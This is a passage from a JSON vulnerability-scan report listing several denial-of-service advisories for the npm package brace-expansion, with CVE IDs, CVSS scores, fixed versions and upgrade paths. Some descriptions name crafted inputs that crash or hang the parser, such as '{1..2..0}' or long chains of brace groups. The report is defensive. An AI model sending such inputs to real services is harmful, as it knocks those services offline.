Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
